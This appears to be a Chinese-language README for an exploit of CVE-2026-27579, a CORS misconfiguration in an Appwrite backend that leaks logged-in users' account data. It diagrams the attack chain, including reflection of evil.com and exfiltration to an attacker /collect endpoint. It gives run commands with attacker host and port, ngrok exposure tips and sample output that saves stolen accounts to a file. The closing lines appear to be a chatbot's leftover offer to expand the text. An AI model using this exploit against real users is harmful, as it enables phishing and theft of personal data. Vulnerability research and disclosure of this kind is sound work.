CVE-2026-27579 – 通过宽松的 CORS 配置导致已认证账户数据泄露
CVE-2026-27579 (GHSA-qh5m-p8jh-hx88)
realtime-collaboration-platform 所使用的 Appwrite 后端存在严重的 CORS 配置错误,允许攻击者控制的源通过带凭据的跨域请求读取已登录受害者的敏感认证用户数据(电子邮件、用户 ID、MFA 状态等)。
/v1/account 端点,具有 Access-Control-Allow-Origin 反射 + Access-Control-Allow-Credentials: trueflowchart TD
A[受害者已登录\nCollabPlatform / Appwrite] --> B[受害者访问攻击者控制的页面\n钓鱼链接 / 恶意广告]
B --> C[浏览器发送 GET /v1/account\n携带会话 cookie credentials: 'include']
C --> D[Appwrite 反射任意 Origin\nAccess-Control-Allow-Origin: evil.com]
D --> E[Access-Control-Allow-Credentials: true]
E --> F[浏览器允许 JavaScript 读取响应\nemail, $id, mfa, name, ...]
F --> G[数据被外泄至攻击者服务器\nPOST /collect]
G --> H[攻击者收到完整账户详情]
--lhost 和 --lportpip install flask
# 基本用法
python3 exploit.py --lhost 192.168.1.100 --lport 8000
# 使用域名 / 公网 IP
python3 exploit.py --lhost attacker.yourdomain.com --lport 8080
# 公网暴露(推荐)
# 1. 运行脚本
# 2. 使用 ngrok:ngrok http 8000
# 3. 将代码中的 http://<lhost>:<lport> 替换为你的 ngrok URL
# (或使用 --lhost = your-ngrok-url.ngrok-free.app 重新运行)
运行时的示例输出:
[*] 正在启动恶意服务器 → http://192.168.1.100:8000
[*] 将此链接发送给目标:
http://192.168.1.100:8000/
受害者在登录状态下访问链接 → 数据出现在终端中并保存到 stolen_accounts.txt
此代码仅用于教育目的、经授权的安全测试、红队演练和漏洞研究。
未经明确书面许可对任何系统或个人进行未经授权的使用,在大多数司法管辖区均属违法行为(计算机欺诈、未经授权访问、数据窃取、钓鱼法律等)。
仅可在您拥有或获得正式测试许可的环境中使用。
Mohammed Idrees Banyamer
安全研究员
约旦
Instagram:@banyamer_security
欢迎直接复制粘贴到您的 README.md 文件中。
如果您想添加截图、更改徽章颜色、添加更多章节(演示、缓解措施等),或包含许可证徽章 / 星标 / fork 计数器 — 请告诉我,我可以进行扩展。